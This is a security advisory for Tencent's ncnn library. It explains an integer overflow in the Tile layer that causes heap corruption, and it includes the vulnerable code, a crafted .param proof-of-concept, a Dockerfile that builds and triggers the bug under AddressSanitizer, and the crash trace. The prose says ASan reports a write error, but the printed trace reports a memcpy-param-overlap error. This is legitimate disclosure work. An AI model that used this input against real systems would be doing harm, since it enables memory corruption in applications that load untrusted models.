All advisories

Integer Overflow Enables Heap Corruption in Tile

Tencent/ncnn / GHSA-m6h6-w5mm-9mvj

Affected packages

ncnn other
Affected versionsmaster
Patched versionsNot specified

Description

Integer Overflow Enables Heap Corruption in Tile

Summary

A .param file whose Tile layer multiplies a large input width by a large repeat count overflows the signed 32-bit output-width computation, so Tile::forward() allocates an output buffer far smaller than the data it subsequently copies into it. The copy loop still runs the untruncated number of iterations at the untruncated stride, producing a heap buffer overflow. The PoC uses ncnnoptimize, which reaches the layer through ModelWriter::shape_inference(); no weight file is needed.

Detail

The untrusted fields are the input width, taken from the Input layer, and repeat_w, element 0 of the Tile layer's repeats array. Tile::forward() computes the output extents as plain int products and hands them to Mat::create() without any overflow check, then repeats the row copy repeat_w times using the original w:

// src/layer/tile.cpp:114
    int outw = w * repeat_w;
    int outh = h * repeat_h;
    int outd = d * repeat_d;
    int outc = channels * repeat_c;
    if (outdims == 1)
    {
        top_blob.create(outw, elemsize, opt.blob_allocator);
    }
// src/layer/tile.cpp:145
                const float* ptr = bottom_blob.channel(q).depth(z).row(y);
                float* outptr = top_blob.channel(q).depth(z).row(y);

                for (int p = 0; p < repeat_w; p++)
                {
                    memcpy(outptr, ptr, w * sizeof(float));
                    outptr += w;
                }

The PoC uses a 1-D input of width 65537 and repeat_w = 65537. The true product is 65537 * 65537 = 4295098369, which wraps in int to 131073, so top_blob.create(131073, 4) reserves 131076 floats after alignment — the 524372-byte region ASan reports, including the reference count and ncnn's over-read padding.

The copy loop is bounded by repeat_w, not by outw, so it performs 65537 memcpy calls of 65537 * sizeof(float) = 262148 bytes each, advancing outptr by 65537 floats every time. The first two copies fit; the third begins at byte 524296 and runs off the end of the allocation, which is the WRITE of size 262148 ASan reports at tile.cpp:150. The remaining 65534 iterations would continue writing input data across the heap.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-overflow-enables-heap-corruption-in-tile && cd ncnn-poc-integer-overflow-enables-heap-corruption-in-tile

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input data 0 1 data 0=65537
Tile tile 1 1 data out 1=65537
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x7c384c1fd808,0x7c384c23d80c) and [0x7c384c200800, 0x7c384c240804) overlap
    #0 0x7c384ce1a16d in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x64d9d2558f36 in ncnn::Tile::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/tile.cpp:150
    #2 0x64d9ce882f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x64d9ce874b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x64d9ce8d49e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x64d9ce7663c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x64d9ce7e3eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7c384c7a21c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7c384c7a228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x64d9ce763624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x7c384c1fd854 is located 0 bytes after 524372-byte region [0x7c384c17d800,0x7c384c1fd854)
allocated by thread T0 here:
    #0 0x7c384ce1bf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x64d9ce7f868e in fastMalloc /ncnn/src/allocator.h:62
    #2 0x64d9ce7f868e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
    #3 0x64d9ce832b38 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:329
    #4 0x64d9d2555866 in ncnn::Tile::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/tile.cpp:120
    #5 0x64d9ce882f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #6 0x64d9ce874b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #7 0x64d9ce8d49e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #8 0x64d9ce7663c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #9 0x64d9ce7e3eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #10 0x7c384c7a21c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x7c384c7a228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #12 0x64d9ce763624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x7c384c200800 is located 0 bytes inside of 262228-byte region [0x7c384c200800,0x7c384c240854)
allocated by thread T0 here:
    #0 0x7c384ce1bf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x64d9ce832bc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x64d9ce832bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x64d9ce764c3b in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:388
    #4 0x64d9ce7e3eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x7c384c7a21c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7c384c7a228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x64d9ce763624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: memcpy-param-overlap ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==1==ABORTING

Credit

Zheng Yu @ DepthFirst